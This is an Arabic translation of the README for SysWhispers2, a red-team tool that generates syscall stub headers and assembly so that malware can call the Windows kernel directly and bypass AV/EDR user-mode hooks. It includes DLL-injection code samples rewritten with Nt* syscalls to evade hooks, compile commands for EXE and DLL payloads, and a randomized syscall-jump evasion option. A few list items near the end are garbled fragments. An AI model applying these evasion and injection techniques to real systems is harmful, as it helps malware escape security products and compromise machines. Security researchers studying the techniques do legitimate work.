
التهرب من AV/EDR عبر استدعاءات النظام المباشرة.
يساعد SysWhispers في التهرب عن طريق توليد ملفات رأس (header) ولغة التجميع (ASM) يمكن للبرامج الضارة استخدامها لإجراء استدعاءات نظام مباشرة.
جميع استدعاءات النظام الأساسية مدعومة، وملفات مثال مولدة متوفرة في المجلد example-output/.
الاستخدام متطابق تقريبًا مع SysWhispers1 لكن لا يتعين عليك تحديد إصدارات Windows التي تريد دعمها. معظم التغييرات مخفية تحت الغطاء. لم يعد يعتمد على جداول استدعاء النظام الخاصة بـ @j00ru (syscall tables)، وبدلاً من ذلك يستخدم تقنية "الترتيب حسب عنوان استدعاء النظام" التي نشرها @modexpblog. وهذا يقلل بشكل كبير من حجم كتل استدعاءات النظام (syscall stubs).
التنفيذ المحدد في SysWhispers2 هو اختلاف عن كود @modexpblog. أحد الاختلافات هو أن تجزئات أسماء الدوال (function name hashes) يتم عشوائيتها في كل توليد. @ElephantSe4l، الذي نشر هذه التقنية في وقت سابق، لديه تطبيق آخر يعتمد على C++17 يستحق الإطلاع عليه أيضًا.
مستودع SysWhispers الأصلي لا يزال قائمًا لكن قد يتم إهماله في المستقبل.
تضع منتجات الأمان المختلفة خطافات في دوال وضع المستخدم (user-mode API functions) والتي تسمح لها بإعادة توجيه تدفق التنفيذ إلى محركاتها والكشف عن السلوك المشبوه. الدوال في ntdll.dll التي تقوم باستدعاءات النظام تتكون من بضع تعليمات تجميع فقط، لذا فإن إعادة تنفيذها في برنامجك الضار الخاص يمكن أن يتجاوز تفعيل خطافات منتجات الأمان تلك. هذه التقنية نُشرت بواسطة @Cn33liz وتحتوي مقالته على تفاصيل تقنية تستحق القراءة.
يوفر SysWhispers لفِرق الاختراق (red teamers) القدرة على توليد أزواج من ملفات الرأس (header) والتجميع (ASM) لأي استدعاء نظام في صورة نواة النظام الأساسية (ntoskrnl.exe). ستتضمن ملفات الرأس أيضًا تعريفات الأنواع الضرورية.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# تصدير جميع الدوال مع التوافق لجميع إصدارات Windows المدعومة (انظر example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# تصدير الدوال الشائعة فقط (انظر القائمة أدناه).
py .\syswhispers.py --preset common -o syscalls_common
# تصدير NtProtectVirtualMemory و NtWriteVirtualMemory مع التوافق لجميع الإصدارات.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
تم تحديد جميع الدوال.
اكتمل! تمت كتابة الملفات إلى:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // استيراد ملف الرأس المولد.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
استخدام المفتاح --preset common سينشئ زوج ملف رأس/تجميع مع الدوال التالية:
توضح الأمثلة التالية كيفية ترجمة برامج الأمثلة أعلاه كملفات EXE و DLL باستخدام MinGW ومُجمّع NASM:
i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
يقوم SysWhispers2 بإخراج ملف .s متوافق مع clang يحتوي على كتل التجميع (ASM stubs). يمكن استخدامه مع llvm لترجمة كودك. على سبيل المثال، باستخدام مثال حقن DLL CreateRemoteThread أعلاه:
clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe
سيقوم خيار الإخراج inlinegas بتوليد نسخة رأس فقط من Syswhispers2 يمكن استخدامها مع ترجمة BOFs. فقط قم بتضمين ملف الرأس في مشروعك.
باستخدام روتين قفز استدعاء النظام العشوائي، من الممكن تجنب "علامة استدعاء النظام" (mark of the syscall). تقوم كتلة التجميع باستدعاء دالة جديدة SW__GetRandomSyscallAddress التي تبحث عن تعليمة استدعاء نظام نظيفة في ntdll.dll وتختارها لاستخدامها. بفعل ذلك، من الممكن تجنب تفعيل تعليمات استدعاء النظام في وضع المستخدم أيضًا.
لاستخدام قفزات استدعاء النظام العشوائية، ستحتاج إلى تعريف RANDSYSCALL عند ترجمة برنامجك واستخدام الإصدار rnd من إخراج SysWhispers2. توضح الأمثلة التالية استخدام كتل تجميع GNU Assembler.
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
win32k.sys) غير مدعومة.syscalls.h قد تم تعريفها بالفعل.
--preset all نادراً ما يكون ضرورياً).syscalls.h.تم التطوير بواسطة @Jackson_T و @modexpblog، ولكنه يبني على عمل العديد من الآخرين:
هذا المشروع مرخص بموجب رخصة Apache License 2.0.